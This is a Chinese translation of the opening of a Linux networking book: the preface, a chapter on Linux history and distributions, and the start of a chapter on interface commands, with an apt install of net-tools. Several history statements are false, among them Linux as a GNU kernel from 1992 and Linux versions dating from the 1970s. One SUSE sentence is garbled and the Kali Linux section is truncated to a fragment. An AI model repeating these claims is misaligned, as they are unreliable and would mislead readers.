面向网络专家的-Linux-全-

面向网络专家的 Linux(全)

原文:zh.annas-archive.org/md5/A72D356176254C9EA0055EAB3A38778D

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

欢迎来到Linux 网络专业人士!如果您曾经想知道如何降低支持您的网络的主机和服务的成本,您来对地方了。或者,如果您正在考虑如何开始保护 DNS、DHCP 或 RADIUS 等网络服务,我们也可以帮助您。

如果有一个服务可以帮助您支持您的网络,我们已经尽力覆盖了如何进行基本配置,并帮助您开始保护该服务。在这个过程中,我们还尽力帮助您选择 Linux 发行版,向您展示如何使用 Linux 进行故障排除,并向您介绍一些您可能不知道需要的服务。

希望在本书中我们所走过的旅程能帮助您向您的网络添加新的服务,并且在这个过程中或许能更好地理解您的网络!

这本书适合谁

这本书适合几乎所有负责管理几乎任何类型网络基础设施的人。如果您对网络中事物的运作方式感兴趣,这本书适合您!如果您经常在想如何提供您的组织需要的各种网络服务,但又没有预算购买商业产品,您也会发现我们的讨论很有趣。我们将介绍我们讨论的每个 Linux 服务的工作原理,以及您如何在典型环境中配置它们。

最后,如果您关心攻击者如何看待您的网络资产,您会发现有很多有趣的内容!我们将讨论攻击者和恶意软件如何常见地攻击您网络上的各种服务,以及如何保护这些服务。

由于本书的重点是 Linux,您会发现我们所涵盖的部署和保护服务的预算更多地是通过您学习新鲜有趣的事物的热情和时间来衡量,而不是金钱!

本书涵盖内容

[第一章],欢迎来到 Linux 大家庭,包括 Linux 的简短历史和各种 Linux 发行版的描述。此外,我们还提供了一些建议,供您选择适合您组织的 Linux 发行版。

[第二章],基本的 Linux 网络配置和操作-使用本地接口,讨论了 Linux 中的网络接口配置,这对许多管理员来说可能是一个真正的障碍,特别是当决定不需要 GUI 时。在本章中,我们将讨论如何从命令行配置各种网络接口参数,以及 IP 和 MAC 层的基础知识。

[第三章],使用 Linux 和 Linux 工具进行网络诊断,涵盖了诊断和解决网络问题,这几乎是所有网络管理员每天都要面对的挑战。在本章中,我们将继续探讨上一章开始的内容,介绍 TCP 和 UDP 的基础知识。有了这些知识,我们将讨论使用本机 Linux 命令以及常见附加组件进行本地和远程网络诊断。最后,我们将讨论对无线网络进行评估。

[第四章],Linux 防火墙,解释了 Linux 防火墙对许多管理员来说可能是一个真正的挑战,特别是因为 iptables/ipchains 防火墙实现有多个不同的“版本”。我们将讨论 Linux 防火墙的演变,并实施它来保护 Linux 上的特定服务。

第五章《具有实际案例的 Linux 安全标准》涵盖了保护您的 Linux 主机,这始终是一个不断变化的目标,取决于在主机上实现的服务和部署到的环境。我们将讨论这些挑战,以及您可以用来指导安全决策的各种安全标准。特别是,我们将讨论《互联网安全中心》(CIS)的关键控制,并在 Linux 的 CIS 基准中解释一些建议。

第六章《Linux 上的 DNS 服务》解释了 DNS 在不同情况下的工作方式,以及如何在 Linux 上实现 DNS 服务,无论是内部还是面向互联网。我们还将讨论针对 DNS 的各种攻击,以及如何保护服务器免受这些攻击。

第七章《Linux 上的 DHCP 服务》涵盖了 DHCP,用于向客户工作站分配 IP 地址,以及向各种客户设备“推送”各种配置选项。在本章中,我们将说明如何在 Linux 上为传统工作站实现这一点,并讨论您应该考虑的其他设备的事项,例如 VoIP 电话。

第八章《Linux 上的证书服务》涵盖了证书,这在许多网络基础设施中经常被视为“鬼怪”。在本章中,我们试图揭开它们的工作原理,并介绍如何在 Linux 上为您的组织实现免费的证书颁发机构。

第九章《Linux 上的 RADIUS 服务》解释了如何在 Linux 上使用 RADIUS 作为各种网络设备和服务的认证。

第十章《Linux 的负载均衡器服务》解释了 Linux 是一个很好的负载均衡器,允许“免费”地将负载均衡服务与每个工作负载联系起来,而不是传统的昂贵和单一的“每个数据中心”负载均衡解决方案。

第十一章《Linux 中的数据包捕获和分析》讨论了使用 Linux 作为数据包捕获主机。本章涵盖了如何在网络方面实现这一点,以及探索各种过滤方法来获取解决问题所需的信息。我们使用各种攻击来说明如何完成这项工作!

第十二章《使用 Linux 进行网络监控》涵盖了使用 Linux 来通过 syslog 集中记录流量,以及在日志中发现关键字时进行实时警报。我们还讨论了使用 NetFlow 和相关协议记录网络流量模式的内容。

第十三章《Linux 上的入侵防范系统》解释了 Linux 应用程序用于警报和阻止常见攻击,以及向流量信息添加重要的元数据。在这方面,我们探讨了两种不同的解决方案,并展示了如何应用各种过滤器来发现流量和攻击中的各种模式。

第十四章《Linux 上的蜜罐服务》涵盖了使用蜜罐作为“欺骗主机”来分散和延迟攻击者,同时为防御者提供高保真度的警报。我们还讨论了使用蜜罐来研究公共互联网上恶意行为趋势的内容。

为了充分利用本书

在本书中,我们将大多数示例和构建基于 Ubuntu Linux 的默认安装。您当然可以在“裸机”硬件上安装 Ubuntu,但您可能会发现使用虚拟化解决方案(如 VMware(Workstation 或 ESXi)、VirtualBox 或 Proxmox)可以真正有助于您的学习体验(除了 VMware Workstation 外,所有这些解决方案都是免费的)。使用虚拟化选项,您可以在途中的已知良好点处拍摄“快照”,这意味着如果您在尝试工具或功能时弄乱了某些东西,只需轻松地撤消该更改并再次尝试。

此外,使用虚拟化还允许您制作主机的多个副本,以便您可以以逻辑方式实现特性或服务,而不是尝试将本书中讨论的所有服务都放在同一主机上。

在本书中,我们使用了几个 Linux 服务,大多数是在 Ubuntu Linux 版本 20(或更新版本)上实现的。这些服务在这里总结:

此外,我们使用或讨论了几个您可能不熟悉的“附加”Linux 工具:

随着本书的进行,大多数工具和服务都可以安装在单个 Linux 主机上。这对实验室设置很有效,但在真实网络中,您当然会将重要的服务器分布在不同的主机上。

作为预先构建或预打包的分发的一部分,我们探讨了一些工具。在这些情况下,您当然可以在您的虚拟化程序中安装相同的分发,但您也可以在该章节中跟随,以便对所展示的概念、方法和陷阱有一个良好的理解。

下载彩色图像

我们还提供了一个 PDF 文件,其中包含本书中使用的屏幕截图/图表的彩色图像。您可以在这里下载:www.packtpub.com/sites/default/files/downloads/9781800202399_ColorImages.pdf

下载示例代码文件

您可以从 GitHub 上下载本书的示例代码文件:github.com/PacktPublishing/Linux-for-Networking-Professionals。如果代码有更新,将在现有的 GitHub 存储库中进行更新。

我们还有来自丰富图书和视频目录的其他代码包,可供下载

github.com/PacktPublishing/。去看看吧!

使用的约定

本书中使用了许多文本约定。

文本中的代码:表示文本中的代码字词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 句柄。以下是一个示例:“所有这三个工具都是免费的,可以使用标准的apt-get install <package name>命令进行安装。”

任何命令行输入或输出都以以下方式编写:

$ sudo kismet –c <wireless interface name>

粗体:表示新术语、重要单词或屏幕上看到的单词。例如,菜单或对话框中的单词会在文本中以这种方式出现。以下是一个示例:“在 Linux GUI 中,您可以通过单击顶部面板上的网络图标,然后选择设置来开始。”

提示或重要说明

看起来像这样。

联系我们

我们非常欢迎读者的反馈意见。

一般反馈:如果您对本书的任何方面有疑问,请在消息主题中提及书名,并通过电子邮件联系我们:customercare@packtpub.com。

勘误:尽管我们已经非常注意确保内容的准确性,但错误确实会发生。如果您在本书中发现错误,我们将不胜感激地接受您的报告。请访问www.packtpub.com/support/errata,选择您的书,点击勘误提交表单链接,并输入详细信息。

盗版:如果你在互联网上发现我们作品的任何形式的非法复制,我们将不胜感激,如果你能向我们提供地址或网站名称。请通过 copyright@packt.com 联系我们,并附上材料链接。

如果你有兴趣成为作者:如果你在某个专题上有专业知识,并且有兴趣撰写或为一本书做出贡献,请访问authors.packtpub.com

分享你的想法

  • 当你阅读完《Linux for Networking Professionals》后,我们很想听听你的想法!请点击这里直接进入亚马逊评论页面来分享你的反馈。

  • 你的评论对我们和技术社区很重要,将帮助我们确保我们提供的内容质量卓越。

第一部分:Linux 基础

本节概述了读者可以选择的各种 Linux 选项,以及他们为什么可能选择 Linux 来提供各种网络功能或服务。此外,还深入介绍了基本的 Linux 网络配置。本节为随后的所有章节奠定了基础。

本书的这部分包括以下章节:

  • [第一章],欢迎来到 Linux 大家庭

  • [第二章],基本的 Linux 网络配置和操作 - 使用本地接口

第一章:欢迎来到 Linux 大家庭

本书探讨了 Linux 平台和各种基于 Linux 的操作系统-特别是 Linux 如何在网络服务方面发挥作用。我们将首先讨论操作系统的一些历史,然后再看其基本配置和故障排除。从那里开始,我们将通过在 Linux 上构建各种网络相关服务来工作,这些服务在大多数组织中可能经常看到。随着我们的进展,我们将在真实的主机上构建真实的服务,并着重于在进行每项服务时保护和故障排除。到我们完成时,您应该对这些服务中的每一个都足够熟悉,以便在您自己的组织中开始实施其中一些或全部服务。正如他们所说,“每个旅程都始于一步”,所以让我们迈出这一步,从对 Linux 平台的一般讨论开始。

在本章中,我们将通过探索 Linux 作为一系列操作系统来开始我们的旅程。它们都有关联,但每个都有自己独特的方式,具有不同的优势和特点。

我们将涵盖以下主题:

  • 为什么 Linux 非常适合网络团队

  • 主流数据中心 Linux

  • 特殊的 Linux 发行版

  • 虚拟化

  • 为您的组织选择 Linux 发行版

为什么 Linux 非常适合网络团队

在本书中,我们将探讨如何使用 Linux 和基于 Linux 的工具来支持和故障排除您的网络,以及如何在 Linux 平台上安全部署常见的网络基础设施。

为什么要为这些目的使用 Linux?首先,Linux 的架构、历史和文化引导管理员进行脚本编写和自动化流程。虽然将这种情况推向极端可能会让人陷入有趣的境地,但编写例行任务的脚本可以真正节省时间。

事实上,编写非例行任务的脚本,比如每年需要做一次的事情,也可能是救命的-这意味着管理员不需要重新学习如何做 12 个月前做的那件事。

编写例行任务的脚本是一个更大的胜利。多年来,Windows 管理员已经了解到,在图形用户界面GUI)中执行一项任务数百次会导致我们至少出错几次。另一方面,像这样编写脚本任务可以保证一致的结果。不仅如此,在网络上,管理员通常为数百或数千个站点执行操作,编写脚本通常是完成更大规模任务的唯一方法。

网络管理员更喜欢 Linux 平台的另一个原因是,Linux(以及之前的 Unix)自有网络以来就一直存在。在服务器端,Linux(或 Unix)服务是定义这些服务的东西,而匹配的 Windows 服务则是随着时间的推移基本上增长到特性平衡。

在工作站方面,如果您需要一个工具来管理或诊断网络上的某些东西,它可能已经安装好了。如果您寻找的工具尚未安装,只需一行命令即可安装和运行它,以及所需的任何其他工具、库或依赖项。而且添加该工具不需要许可费-在 Linux 上安装的 Linux 和任何工具(几乎没有例外)都是免费和开源的。

最后,在服务器和桌面方面,历史上,Linux 一直是免费的。即使现在,有利润的公司也为一些主要支持的发行版收取许可费(例如 Red Hat 和 SUSE),这些公司也提供这些发行版的免费版本。Red Hat 提供 Fedora Linux 和 CentOS,这两者都是免费的,并且在某种程度上充当了 Red Hat Enterprise Linux 中新功能的测试版本。openSUSE(免费)和 SUSE Linux(收费)也非常相似,SUSE 发行版经过了更严格的测试,并且版本升级的节奏更加规律。企业版本通常是按期限许可的,该许可证授予客户访问技术支持和在许多情况下的操作系统更新的权限。

许多公司选择操作系统的经过许可的企业版本,但许多其他公司选择在 OpenSUSE、CentOS 或 Ubuntu 的免费版本上构建其基础设施。免费 Linux 版本的可用性意味着许多组织可以以大大降低的 IT 成本运作,这在很大程度上影响了我们作为一个行业的发展方向。

为什么 Linux 很重要?

多年来,信息技术界的一个笑话是,明年总是会成为“Linux 桌面的一年”-在那一年,我们将停止为桌面和商业应用程序支付许可费,一切都将是免费和开源的。

相反,发生的是 Linux 一直在稳步地进入许多环境的服务器和基础设施方面。

Linux 已经成为大多数数据中心的支柱,即使这些组织认为它们是“仅限 Windows”的环境。许多基础设施组件在内部运行 Linux,并具有一个良好的 Web 前端,将其转变为供应商解决方案。如果您有存储区域网络(SAN),它很可能运行 Linux,您的负载均衡器,接入点和无线控制器也是如此。许多路由器和交换机运行 Linux,几乎所有新的软件定义的网络解决方案也是如此。

几乎所有信息安全产品都基于 Linux。传统防火墙和下一代防火墙,入侵检测和防范系统(IDS/IPS),安全信息和事件管理(SIEM)系统以及日志服务器-都是 Linux!

为什么 Linux 如此普遍?有很多原因:

  • 这是一个成熟的操作系统。

  • 它有一个集成的修补和更新系统。

  • 基本功能很容易配置。操作系统上的更复杂功能可能比 Windows 上更难配置。请查看我们关于 DNS 或 DHCP 的章节以获取更多信息。

  • 另一方面,在 Windows 环境中可能是出售产品的许多功能在 Linux 上是免费安装的。

  • 由于 Linux 几乎完全基于文件,如果您是一个以 Linux 为基础的产品的供应商,很容易将其保持在已知基线。

  • 只要有合适的(免费和开源)软件包、一些脚本和可能一些定制编码,您就可以在 Linux 上构建几乎任何东西。

  • 如果选择正确的发行版,操作系统本身是免费的,这对于试图最大化利润的供应商或试图降低成本的客户来说是一个很好的动力。

如果新的基础设施即代码运动是吸引您的原因,那么您会发现几乎每种编程语言都在 Linux 中得到了代表,并且正在积极开发-从新语言如 Go 和 Rust,一直到 Fortran 和 Cobol。甚至源自 Windows 的 PowerShell 和.NET 也完全支持 Linux。大多数基础设施编排引擎(例如 Ansible、Puppet 和 Terraform)首先在 Linux 上开始并得到支持。

在今天的 IT 基础设施的云端,Linux 是免费的事实使得云服务提供商几乎从一开始就推动他们的客户朝着这一端发展。如果您订阅了任何被描述为“无服务器”或“作为服务”的云服务,背后很可能几乎全部是 Linux 的解决方案。

最后,现在我们已经看到 IT 的服务器和基础设施一面向 Linux 发展,我们应该注意到今天的手机正逐渐成为当今计算现实中最大的“桌面”平台。在今天的世界中,手机通常是基于 iOS 或 Android 的,这两者都是(你猜对了)基于 Unix/Linux 的!因此,“Linux 桌面年”已经通过改变桌面的定义悄悄地到来。

所有这些都使 Linux 对今天的网络或 IT 专业人员非常重要。本书侧重于将 Linux 用作网络专业人员的桌面工具箱,以及在 Linux 平台上安全配置和提供各种网络服务。

Linux 的历史

要了解 Linux 的起源,我们必须讨论 Unix 的起源。Unix 是在 20 世纪 60 年代末和 70 年代初在贝尔实验室开发的。丹尼斯·里奇和肯·汤普森是 Unix 的主要开发人员。实际上,Unix 这个名字是基于早期操作系统 Multics 的一个双关语,它启发了 Unix 的许多特性。

1983 年,理查德·斯托曼和自由软件基金会启动了 GNU(递归缩写-GNU 的不是 Unix)项目,旨在创建一个类 Unix 的操作系统,供所有人免费使用。在这一努力中产生了 GNU Hurd 内核,大多数人认为这是今天 Linux 版本的前身(SFS 希望我们称它们为 GNU/Linux)。

1992 年,Linus Torvalds 发布了 Linux,这是第一个完全实现的 GNU 内核。重要的是要注意,主流 Linux 通常被认为是可以用来创建操作系统的内核,而不是独立的操作系统。Linux 仍然由 Linus Torvalds 担任首席开发人员,但今天,有一个更大的个人和公司团队作为贡献者。因此,尽管从技术上讲,Linux 只指内核,在行业中,“Linux”通常指的是基于该内核构建的任何操作系统。

自 20 世纪 70 年代以来,已经发布了数百种不同的 Linux 版本。每个版本通常被称为发行版(或简称为 distro)。它们都基于当天的 Linux 内核,以及用于 OS 和更新的安装基础设施和存储库系统。大多数都有某种独特之处,无论是在基本软件包的混合还是发行版的重点-有些可能体积小,适合较小的硬件平台,有些可能专注于安全性,有些可能被设计为通用企业工作马操作系统,等等。

一些发行版在一段时间内一直是“主流”,而一些随着时间的推移而逐渐失去了流行。它们共享的是 Linux 内核,它们每个都建立在此基础上,以创建自己的发行版。许多发行版都是基于另一个发行版的操作系统,对其进行了足够的定制,以证明他们的实施是一个新的发行版。这一趋势使我们产生了“Linux 家族树”的概念-数十个发行版可以从一个共同的“根”发展出来。这在 DistroWatch 网站上得到了探讨。

作为 Linux 的替代品,特别是在 Intel/AMD/ARM 硬件领域,是伯克利软件发行版(BSD)Unix。BSD Unix 是原始贝尔实验室 Unix 的后代;它根本不是基于 Linux。然而,BSD 及其许多衍生版本仍然是免费的,并且与 Linux 共享许多特征(以及相当多的代码)。

直到今天,Linux 和 BSD Unix 的重点都是它们都是免费的操作系统。虽然商业版本和衍生版本当然是可用的,但几乎所有这些商业版本都有相应的免费版本。

在本节中,我们看了 Linux 在计算领域的历史和重要性。我们了解了 Linux 是如何出现的,以及它是如何在计算领域的某些部分中变得流行的。现在,我们将开始研究我们可以使用的不同 Linux 版本。这将帮助我们建立我们在本章后面做出选择使用哪个发行版的信息。

主流数据中心 Linux

正如我们讨论过的,Linux 不是一个单一的"东西",而是一个多样化甚至分裂的不同发行版的生态系统。每个 Linux 发行版都基于相同的 GNU/Linux 内核,但它们被打包成具有不同目标和理念的组,这使得组织在开始标准化其服务器和工作站平台时有多种选择。

我们在现代数据中心中常见的主要发行版是 Red Hat、SUSE 和 Ubuntu,另外还有 FreeBSD Unix 作为另一种选择(尽管现在比过去不那么受欢迎)。这并不是说其他发行版不会出现在桌面或数据中心,但这些是你经常看到的。它们都有桌面和服务器版本,服务器版本通常更加"精简",去掉了办公生产力、媒体工具,通常也去掉了图形用户界面。

Red Hat

Red Hat 最近被 IBM 收购(2019 年),但仍将 Fedora 作为其主要项目之一。Fedora 既有服务器版本,也有桌面版本,并且仍然可以免费获取。Fedora 的商业版本是 Red Hat Enterprise Linux(RHEL)。RHEL 是商业许可的,并且有正式的支持渠道。

CentOS 最初是一个免费的、社区支持的 Linux 版本,与 Red Hat Enterprise 版本在功能上兼容。这使得它在许多组织中的服务器实施中非常受欢迎。在 2014 年 1 月,Red Hat 将 CentOS 纳入其旗下,成为该发行版的正式赞助商。2020 年底,宣布 CentOS 将不再作为 RHEL 兼容的发行版进行维护,而是会在 Fedora 和 RHEL 之间"适应",既不会像"前沿"那样新,也不会像 RHEL 那样稳定。作为这一变化的一部分,CentOS 更名为 CentOS Stream。

最后,Fedora 是具有最新功能和代码的发行版,新功能在其中得到尝试和测试。CentOS Stream 发行版更加稳定,但仍处于 RHEL 的"上游"。RHEL 是一个稳定的、经过充分测试的操作系统,具有正式的支持服务。

Oracle/Scientific Linux

Oracle/Scientific Linux 也出现在许多数据中心(以及在 Oracle 的云服务中)。Oracle Linux 基于 Red Hat,并宣传他们的产品与 RHEL 完全兼容。Oracle Linux 可以免费下载和使用,但来自 Oracle 的支持是基于订阅的。

SUSE

OpenSUSE 是 SUSE Linux 基于的社区发行版,类似于 RedHat Enterprise Linux 基于 Fedora 的方式。

SUSE Linux Enterprise Server(通常称为 SLES)在 Linux 早期是美国 Red Hat 发行版的主要欧洲竞争对手。然而,那些日子已经过去,现代数据中心中德 SUSE Linux(几乎)和在意大利一样常见。

与 RedHat 和 CentOS 之间的关系类似,SUSE 维护着桌面和服务器版本。此外,他们还维护着一个“高性能”版本的操作系统,该版本具有针对并行计算进行了优化并预先安装了工具。OpenSUSE 占据了 SLES 的“上游”位置,可以在这个发行版中引入一些可能不总是第一次就成功的更改。OpenSUSE Tumbleweed 发行版具有最新的功能和版本,而 OpenSUSE Leap 在版本和稳定性上更接近操作系统的 SLE 版本。这种模式与 RedHat 系列发行版相似并非偶然。

Ubuntu

Ubuntu Linux 由 Canonical 维护,可以免费下载,没有单独的商业或“上游”选项。它基于 Debian,并且有独特的发布周期。服务器和桌面版本的新版本每 6 个月发布一次。每 2 年发布一个长期支持LTS)版本,对服务器和桌面的 LTS 版本的支持从发布日期开始为期 5 年。与其他大型参与者一样,支持是基于订阅的,尽管来自社区的免费支持也是一个可行的选择。

正如你所期望的,Ubuntu 的服务器版本更专注于核心操作系统、网络和数据中心服务。在安装服务器版本时,通常会取消选择 GUI。然而,桌面版本安装了一些用于办公生产力、媒体创作和转换以及一些简单游戏的软件包。

BSD/FreeBSD/OpenBSD

正如我们之前提到的,BSD 家族的“树”是从 Unix 而不是 Linux 内核派生的,但有很多共享的代码,特别是当你看那些不是内核的包时。

FreeBSD 和 OpenBSD 在历史上被视为比早期版本的 Linux“更安全”。因此,许多防火墙和网络设备都是基于 BSD 操作系统家族构建的,并且至今仍在使用这个操作系统。更“显眼”的 BSD 变体之一是苹果的商业操作系统OS X(现在是macOS)。这是基于 Darwin,而 Darwin 又是 BSD 的一个分支。

然而,随着时间的推移,Linux 已经发展到具有与 BSD 大部分相同的安全功能,直到 BSD 可能比大多数 Linux 替代品具有更安全的默认设置。

现在 Linux 有安全模块可用,可以显著提高其安全性。SELinuxAppArmor是两个主要的可用选项。SELinux 起源于 Red Hat 发行版,并且在 SUSE、Debian 和 Ubuntu 上完全实现。AppArmor 通常被视为一个更简单的实现选项,具有许多(但不是全部)相同的功能。AppArmor 在 Ubuntu、SUSE 和大多数其他发行版上都可用(但不包括 RHEL)。这两个选项都采用基于策略的方法,显著提高了安装它们的操作系统的整体安全性。

随着 Linux 向更注重安全性的发展,特别是现代 Linux 发行版可用(并建议)的 SELinux 或 AppArmor,BSD 与 Linux 之间的“更安全”论点现在主要是历史上的看法,而不是事实。

专业 Linux 发行版

除了主流的 Linux 发行版外,还有几个发行版是专门为特定需求而构建的。它们都是基于更主流的发行版构建的,但是专门定制以满足特定的需求。我们将在这里描述一些你最有可能看到或用作网络专业人士的发行版。

大多数商业网络附加存储NAS)和 SAN 提供商都基于 Linux 或 BSD。在撰写本文时,开源 NAS/SAN 服务的领先者似乎是TrueNAS(以前是FreeNAS)和XigmaNAS(以前是NAS4Free)。两者都有免费和商业版本。

开源防火墙

网络和安全公司提供各种防火墙设备,其中大多数基于 Linux 或 BSD。许多公司提供免费防火墙,一些较受欢迎的包括 pfSense(提供免费版本和预构建硬件解决方案)、OPNsense(免费提供,可捐赠)和 Untangle(也有商业版本)。Smoothwall 是另一种选择,提供免费和商业版本。

在本书中,我们将探讨在 Linux 中使用板载防火墙来保护单个服务器,或者保护网络边界。

Kali Linux

apt工具集演变而来)。

SIFT

SIFT 是由 SANS 研究所的取证团队编写的一个发行版,专注于数字取证和事件响应工具和调查。与 Kali 类似,SIFT 的目标是成为一个在一个领域中的“一站式”免费/开源工具 - 数字取证和事件响应(DFIR)。在历史上,这是一个基于 Ubuntu 的发行版,但近年来情况已经改变 - SIFT 现在也作为一个脚本分发,可以在 Ubuntu 桌面或基于 Ubuntu 的 Windows 服务上安装这些工具。

Security Onion

Security Onion 与 Kali Linux 类似,它包含了几种信息安全工具,但其重点更多地是从防御者的角度来看。这个发行版侧重于威胁猎杀、网络安全监控和日志管理。这个发行版中的一些工具包括 Suricata、Zeek 和 Wazuh 等。

虚拟化

虚拟化在 Linux 的采用和能够同时使用多个发行版的能力中发挥了重要作用。通过本地虚拟化程序,网络专业人员可以在他们的笔记本电脑或台式电脑上运行数十个不同的“机器”。虽然 VMware 是这个领域的先驱(桌面和专用虚拟化),但它们已经被 Xen、KVM、VirtualBox 和 QEMU 等虚拟化程序所取代,仅举几例。在撰写本文时,VMware 的产品都是商业产品(除了 VMware Player),而其他列出的解决方案在当时仍然是免费的。VMware 的旗舰虚拟化程序 ESXi 也可以作为独立产品免费获得。

Linux 和云计算

Linux 的不断稳定以及虚拟化现在已经成为主流,从许多方面来看,这使得我们现代云生态系统成为可能。再加上部署和维护后端基础设施的自动化能力的不断增强,以及开发 Web 应用程序和应用程序编程接口(API)开发人员可用的复杂性,我们得到的就是今天的云基础设施。其中一些关键特性如下:

  • 多租户基础设施,每个客户在云中维护自己的实例(虚拟服务器和虚拟数据中心)。

  • 通过月份或更常见的资源使用时间的细粒度成本。

  • 可靠性与许多现代数据中心一样好甚至更好(尽管最近的故障表明当我们把太多的鸡蛋放在同一个篮子里时会发生什么)。

  • 使得自动化基础设施相对容易的 API,以至于对于许多公司来说,配置和维护他们的基础设施已经成为一种编码活动(通常称为基础设施即代码)。

  • 这些 API 使得根据需要扩展(或缩减)容量成为可能,无论是存储、计算、内存、会话计数还是所有这四种。

云服务是为了盈利,尽管 - 任何决定将他们的数据中心原样转移到云服务的公司很可能会发现,所有这些小费用随着时间的推移会累积起来,最终达到或超过他们本地数据中心的成本。从美元的角度来看,这仍然往往是有吸引力的,因为这些美元是花在可以更容易地直接归因于操作性支出的地方,而不是本地资本支出模型(通常称为 Cap-Ex 与 Op-Ex 模型)。

正如你所看到的,将数据中心迁移到云服务确实为一个组织带来了许多好处,这在本地模型中可能不会有这个选项。随着更多的仅云功能被利用,这一点变得更加明显。

为你的组织选择 Linux 发行版

在许多方面,你选择数据中心的发行版并不重要 - 主要的发行版都有类似的功能,通常具有相同的组件,并且通常具有类似的供应商或社区支持选项。然而,由于这些发行版之间的差异,重要的是选择一个发行版(或一组类似的发行版)。

期望的结果是你的组织标准化一个发行版,你的团队可以在其中发展他们的专业知识。这也意味着你可以与更高级的支持和故障排除团队合作,无论是咨询组织、付费供应商支持团队,还是各种互联网论坛上的一群志同道合的人。许多组织与“三大巨头”之一(红帽、SUSE 或 Canonical,取决于他们的发行版)购买支持合同。

你不想出现的情况是我见过一些客户陷入的境地。他们雇佣了一个渴望学习的人,一年后,他们发现他们在那一年建造的每台服务器都运行在不同的 Linux 发行版上,每台服务器都略有不同。这是你的基础设施成为永无止境的“科学实验”的捷径!

与另一位客户形成鲜明对比 - 他们的第一台服务器是SUSE Linux for SAP,正如其名称所示,这是一台打包了客户购买的 SAP 应用程序(SAP HANA)的 SUSE Linux 服务器。随着更多服务的增加,他们坚持使用 SUSE 平台,但选择了“真正的”SLES 发行版。这使他们保持了单一的操作系统,同样对他们来说,与 SUSE 保持了单一的支持许可证。他们能够将培训和专业知识集中在 SUSE 上。对他们来说,另一个关键的好处是,随着他们添加更多的服务器,他们能够应用单一的更新和补丁“流”,并采用分阶段的方法。在每个补丁周期中,不太关键的服务器首先被打补丁,然后在他们的测试完成后几天后,核心业务应用服务器才被打补丁。

选择发行版的主要建议是坚持选择较大的发行版之一。如果你团队中的人对其中一个发行版有强烈的感觉,那么一定要考虑这一点。你可能希望选择离主流发行版较近,这样你就可以在你的组织内使用它,这是一个经常维护并且有付费订阅模式支持的发行版 - 即使你今天觉得你不需要付费支持,也许将来情况就不同了。

总结

现在我们已经讨论了 Linux 的历史,以及几个主要的发行版,我希望你现在能更好地理解操作系统在我们社会中的历史和核心重要性。特别是,我希望你有一些好的标准来帮助你为你的基础设施选择一个发行版。

在本书中,我们将选择 Ubuntu 作为我们的发行版。它是一个免费的发行版,在其 LTS 版本中,我们可以依赖的操作系统,当你在讨论的各种场景、构建和示例中工作时,它会得到支持。它也是 Windows 的本地发行版(在 Windows 服务中用于 Linux)。这使得它成为一个容易熟悉的发行版,即使你没有服务器或工作站硬件可以使用,甚至没有虚拟化平台可以测试。

在下一章中,我们将讨论如何将您的 Linux 服务器或工作站连接到网络。我们将演示如何使用本地接口,并添加 IP 地址、子网掩码以及任何必要的路由,以使您的 Linux 主机在新的或现有网络中正常工作。

进一步阅读

docs.microsoft.com/en-us/windows/wsl/about

第二章:基本 Linux 网络配置和操作-处理本地接口

在本章中,我们将探讨如何在 Linux 主机上显示和配置本地接口和路由。尽可能地,我们将讨论执行这些操作的新旧命令。这将包括显示和修改 IP 地址、本地路由和其他接口参数。在此过程中,我们将讨论如何使用二进制方法构建 IP 地址和子网地址。

本章应该为我们在后续章节中涵盖的主题,如故障排除网络问题、加固我们的主机和安装安全服务,奠定坚实的基础。

本章涵盖的主题如下:

  • 处理网络设置-两组命令

  • 显示接口 IP 信息

  • IPv4 地址和子网掩码

  • 为接口分配 IP 地址

技术要求

在本章和其他每一章中,当我们讨论各种命令时,鼓励您在自己的计算机上尝试。本书中的命令都是在 Ubuntu Linux 20 版(长期支持版)上演示的,但在几乎任何 Linux 发行版上,这些命令应该基本相同或非常相似。

处理网络设置-两组命令

在大多数人熟悉的 Linux 寿命中,ifconfig(接口配置)和相关命令一直是 Linux 操作系统的主要组成部分,以至于现在在大多数发行版中已经被弃用,但仍然是许多系统和网络管理员的常用命令。

为什么要替换这些旧的网络命令?有几个原因。一些新硬件(特别是 InfiniBand 网络适配器)不受旧命令的良好支持。此外,随着 Linux 内核多年来的变化,旧命令的操作随着时间的推移变得越来越不一致,但是在向后兼容性方面的压力使得解决这个问题变得困难。

旧命令在net-tools软件包中,新命令在iproute2软件包中。新管理员应该专注于新命令,但熟悉旧命令仍然是一件好事。仍然很常见的是发现运行 Linux 的旧计算机,这些机器可能永远不会更新,仍然使用旧命令。因此,我们将涵盖两种工具集。

这个教训是,在 Linux 世界中,变化是不断的。旧命令仍然可用,但不是默认安装的。

要安装旧命令,请使用此命令:

robv@ubuntu:~$ sudo apt install net-tools
 [sudo] password for robv:
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following package was automatically installed and is no longer required:
  libfprint-2-tod1
Use 'sudo apt autoremove' to remove it.
The following NEW packages will be installed:
  net-tools
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 0 B/196 kB of archives.
After this operation, 864 kB of additional disk space will be used.
Selecting previously unselected package net-tools.
(Reading database ... 183312 files and directories currently installed.)
Preparing to unpack .../net-tools_1.60+git20180626.aebd88e-1ubuntu1_amd64.deb ..                                      .
Unpacking net-tools (1.60+git20180626.aebd88e-1ubuntu1) ...
Setting up net-tools (1.60+git20180626.aebd88e-1ubuntu1) ...
Processing triggers for man-db (2.9.1-1) ...

您可能会注意到install命令及其输出中的一些内容:

  • sudo:使用了sudo命令-/etc/sudoers。在大多数发行版中,默认情况下,在安装操作系统时定义的userid会自动包含在该文件中。可以使用visudo命令添加其他用户或组。

为什么使用sudo?安装软件或更改网络参数以及许多其他系统操作都需要提升的权限-在多用户企业系统上,您不希望非管理员的人进行这些更改。

因此,如果sudo如此强大,为什么我们不以 root 身份运行所有操作呢?主要是因为这是一个安全问题。当然,如果您拥有 root 权限,一切都会正常工作。但是,任何错误和打字错误都可能导致灾难性的结果。此外,如果您以正确的权限运行并且碰巧执行了一些恶意软件,那么恶意软件将具有相同的权限,这显然不理想!如果有人问,是的,Linux 恶意软件确实存在,并且从一开始就一直存在于操作系统中。

  • apt:使用apt命令 - apt是 Ubuntu、Debian 和相关发行版上的默认安装程序,但不同发行版之间的软件包管理应用程序会有所不同。除了apt及其等效命令外,仍然支持从下载文件进行安装。Debian、Ubuntu 和相关发行版使用deb文件,而许多其他发行版使用rpm文件。总结如下:

